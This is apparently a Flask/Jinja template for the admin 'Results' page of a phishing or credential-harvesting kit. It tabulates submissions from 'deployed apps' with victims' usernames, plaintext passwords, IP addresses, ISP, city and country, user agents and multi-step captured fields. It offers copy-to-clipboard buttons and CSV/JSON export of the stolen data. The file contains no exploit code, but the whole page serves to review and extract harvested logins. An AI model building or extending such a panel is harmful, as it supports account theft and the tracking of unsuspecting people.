{% extends "base.html" %}

{% block title %}Results - Admin Panel{% endblock %}

{% block page_title %}Results{% endblock %}

{% block content %}
<div class="row">
    <div class="col-12">
        <div class="d-flex justify-content-end align-items-center mb-4">
            <div class="btn-group">
                <a href="{{ url_for('main.export_results', format='csv') }}" class="btn btn-outline-primary">
                    <i class="fas fa-download"></i> Export CSV
                </a>
                <a href="{{ url_for('main.export_results', format='json') }}" class="btn btn-outline-primary">
                    <i class="fas fa-download"></i> Export JSON
                </a>
            </div>
        </div>
    </div>
</div>

<div class="row">
    <div class="col-12">
        <div class="card">
            <div class="card-body">
                {% if submissions.items %}
                    <div class="table-responsive">
                        <table class="table table-striped">
                            <thead>
                                <tr>
                                    <th>Timestamp</th>
                                    <th>App Name</th>
                                    <th>IP Address</th>
                                    <th>ISP</th>
                                    <th>Username</th>
                                    <th>Password</th>
                                    <th>Type</th>
                                    <th>Actions</th>
                                </tr>
                            </thead>
                            <tbody>
                                {% for submission in submissions.items %}
                                    <tr>
                                        <td>{{ submission.created_at.strftime('%Y-%m-%d %H:%M:%S') }}</td>
                                        <td>{{ submission.deployed_app.app_template.name }}</td>
                                        <td>{{ submission.ip_address }}</td>
                                        <td>
                                            {% set isp_data = submission.isp_info | parse_json %}
                                            {% if isp_data and isp_data.org %}
                                                {{ isp_data.org }}
                                            {% else %}
                                                N/A
                                            {% endif %}
                                        </td>
                                        <td>{{ submission.username }}</td>
                                        <td>{{ submission.password }}</td>
                                        <td>
                                            {% if submission.step_count and submission.step_count > 1 %}
                                                <span class="badge bg-info">{{ submission.step_count }} Steps</span>
                                            {% else %}
                                                <span class="badge bg-secondary">Single Step</span>
                                            {% endif %}
                                        </td>
                                        <td>
                                            <div class="btn-group btn-group-sm">
                                                <button type="button" class="btn btn-outline-primary" 
                                                        data-bs-toggle="modal" 
                                                        data-bs-target="#viewModal{{ submission.id }}">
                                                    <i class="fas fa-eye"></i> View
                                                </button>
                                                <button type="button" class="btn btn-outline-danger" 
                                                        data-bs-toggle="modal" 
                                                        data-bs-target="#deleteModal{{ submission.id }}">
                                                    <i class="fas fa-trash"></i> Delete
                                                </button>
                                            </div>
                                        </td>
                                    </tr>
                                {% endfor %}
                            </tbody>
                        </table>
                    </div>
                    
                    <!-- Pagination -->
                    {% if submissions.pages > 1 %}
                        <nav aria-label="Page navigation">
                            <ul class="pagination justify-content-center">
                                {% if submissions.has_prev %}
                                    <li class="page-item">
                                        <a class="page-link" href="{{ url_for('main.results', page=submissions.prev_num) }}">Previous</a>
                                    </li>
                                {% endif %}
                                
                                {% for page_num in submissions.iter_pages() %}
                                    {% if page_num %}
                                        {% if page_num != submissions.page %}
                                            <li class="page-item">
                                                <a class="page-link" href="{{ url_for('main.results', page=page_num) }}">{{ page_num }}</a>
                                            </li>
                                        {% else %}
                                            <li class="page-item active">
                                                <span class="page-link">{{ page_num }}</span>
                                            </li>
                                        {% endif %}
                                    {% else %}
                                        <li class="page-item disabled">
                                            <span class="page-link">…</span>
                                        </li>
                                    {% endif %}
                                {% endfor %}
                                
                                {% if submissions.has_next %}
                                    <li class="page-item">
                                        <a class="page-link" href="{{ url_for('main.results', page=submissions.next_num) }}">Next</a>
                                    </li>
                                {% endif %}
                            </ul>
                        </nav>
                    {% endif %}
                {% else %}
                    <div class="text-center py-4">
                        <i class="fas fa-inbox fa-3x text-muted mb-3"></i>
                        <h5>No submissions yet</h5>
                        <p class="text-muted">Form submissions will appear here once apps are deployed and used.</p>
                    </div>
                {% endif %}
            </div>
        </div>
    </div>
</div>

<!-- View Modals -->
{% for submission in submissions.items %}
<div class="modal fade" id="viewModal{{ submission.id }}" tabindex="-1" aria-labelledby="viewModalLabel{{ submission.id }}">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="viewModalLabel{{ submission.id }}">
                    <i class="fas fa-eye"></i> Submission Details
                </h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <div class="row">
                    <div class="col-md-6">
                        <h6>Basic Information</h6>
                        <table class="table table-sm">
                            <tr>
                                <td><strong>Timestamp:</strong></td>
                                <td>{{ submission.created_at.strftime('%Y-%m-%d %H:%M:%S UTC') }}</td>
                            </tr>
                            <tr>
                                <td><strong>App Name:</strong></td>
                                <td>{{ submission.deployed_app.app_template.name }}</td>
                            </tr>
                            <tr>
                                <td><strong>IP Address:</strong></td>
                                <td>{{ submission.ip_address }}</td>
                            </tr>
                            <tr>
                                <td><strong>Username:</strong></td>
                                <td>
                                    <span id="username{{ submission.id }}">{{ submission.username }}</span>
                                    <button type="button" class="btn btn-sm btn-outline-secondary ms-2" 
                                            onclick="copyToClipboard('username{{ submission.id }}', this)">
                                        <i class="fas fa-copy"></i>
                                    </button>
                                </td>
                            </tr>
                            <tr>
                                <td><strong>Password:</strong></td>
                                <td>
                                    <span id="password{{ submission.id }}">{{ submission.password }}</span>
                                    <button type="button" class="btn btn-sm btn-outline-secondary ms-2" 
                                            onclick="copyToClipboard('password{{ submission.id }}', this)">
                                        <i class="fas fa-copy"></i>
                                    </button>
                                </td>
                            </tr>
                        </table>
                    </div>
                    <div class="col-md-6">
                        <h6>ISP Information</h6>
                        {% set isp_data = submission.isp_info | parse_json %}
                        {% if isp_data %}
                            <table class="table table-sm">
                                {% if isp_data.org %}
                                <tr>
                                    <td><strong>ISP:</strong></td>
                                    <td>{{ isp_data.org }}</td>
                                </tr>
                                {% endif %}
                                {% if isp_data.city %}
                                <tr>
                                    <td><strong>City:</strong></td>
                                    <td>{{ isp_data.city }}</td>
                                </tr>
                                {% endif %}
                                {% if isp_data.region %}
                                <tr>
                                    <td><strong>Region:</strong></td>
                                    <td>{{ isp_data.region }}</td>
                                </tr>
                                {% endif %}
                                {% if isp_data.country %}
                                <tr>
                                    <td><strong>Country:</strong></td>
                                    <td>{{ isp_data.country }}</td>
                                </tr>
                                {% endif %}
                                {% if isp_data.timezone %}
                                <tr>
                                    <td><strong>Timezone:</strong></td>
                                    <td>{{ isp_data.timezone }}</td>
                                </tr>
                                {% endif %}
                            </table>
                        {% else %}
                            <p class="text-muted">ISP information not available</p>
                        {% endif %}
                    </div>
                </div>
                <div class="row mt-3">
                    <div class="col-12">
                        <h6>User Agent</h6>
                        <p class="text-break">{{ submission.user_agent }}</p>
                    </div>
                </div>
                {% if submission.step_count and submission.step_count > 1 %}
                <div class="row mt-3">
                    <div class="col-12">
                        <h6>Multi-Step Data ({{ submission.step_count }} steps completed in {{ submission.completion_time }})</h6>
                        {% set extra_data = submission.extra_data | parse_json %}
                        {% if extra_data %}
                            {% for step_key, step_data in extra_data.items() %}
                                {% if step_key.startswith('step_') %}
                                    <div class="card mb-2">
                                        <div class="card-header">
                                            <strong>{{ step_key.replace('_', ' ').title() }}</strong>
                                        </div>
                                        <div class="card-body">
                                            <div class="row">
                                                {% for field, value in step_data.items() %}
                                                    <div class="col-md-6 mb-2">
                                                        <strong>{{ field.replace('_', ' ').title() }}:</strong>
                                                        <span class="text-break">{{ value }}</span>
                                                        <button type="button" class="btn btn-sm btn-outline-secondary ms-1" 
                                                                onclick="copyToClipboard('{{ step_key }}_{{ field }}_{{ submission.id }}', this)">
                                                            <i class="fas fa-copy"></i>
                                                        </button>
                                                        <span id="{{ step_key }}_{{ field }}_{{ submission.id }}" style="display: none;">{{ value }}</span>
                                                    </div>
                                                {% endfor %}
                                            </div>
                                        </div>
                                    </div>
                                {% endif %}
                            {% endfor %}
                        {% endif %}
                    </div>
                </div>
                {% elif submission.extra_data %}
                <div class="row mt-3">
                    <div class="col-12">
                        <h6>Additional Data</h6>
                        <pre class="bg-light p-2 rounded">{{ submission.extra_data | parse_json | tojson(indent=2) }}</pre>
                    </div>
                </div>
                {% endif %}
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
            </div>
        </div>
    </div>
</div>

<!-- Delete Confirmation Modals -->
<div class="modal fade" id="deleteModal{{ submission.id }}" tabindex="-1" aria-labelledby="deleteModalLabel{{ submission.id }}">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="deleteModalLabel{{ submission.id }}">
                    <i class="fas fa-exclamation-triangle text-warning"></i> Confirm Delete
                </h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <p>Are you sure you want to delete this submission?</p>
                <div class="alert alert-warning">
                    <strong>Warning:</strong> This action cannot be undone.
                </div>
                <ul>
                    <li><strong>App:</strong> {{ submission.deployed_app.app_template.name }}</li>
                    <li><strong>IP:</strong> {{ submission.ip_address }}</li>
                    <li><strong>Username:</strong> {{ submission.username }}</li>
                    <li><strong>Time:</strong> {{ submission.created_at.strftime('%Y-%m-%d %H:%M:%S') }}</li>
                </ul>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                <a href="{{ url_for('main.delete_submission', submission_id=submission.id) }}" 
                   class="btn btn-danger">
                    <i class="fas fa-trash"></i> Delete Submission
                </a>
            </div>
        </div>
    </div>
</div>
{% endfor %}

<script>
function copyToClipboard(elementId, button) {
    const element = document.getElementById(elementId);
    const text = element.textContent;
    
    navigator.clipboard.writeText(text).then(function() {
        const originalIcon = button.innerHTML;
        button.innerHTML = '<i class="fas fa-check text-success"></i>';
        setTimeout(function() {
            button.innerHTML = originalIcon;
        }, 1000);
    }).catch(function(err) {
        console.error('Failed to copy: ', err);
    });
}
</script>
{% endblock %}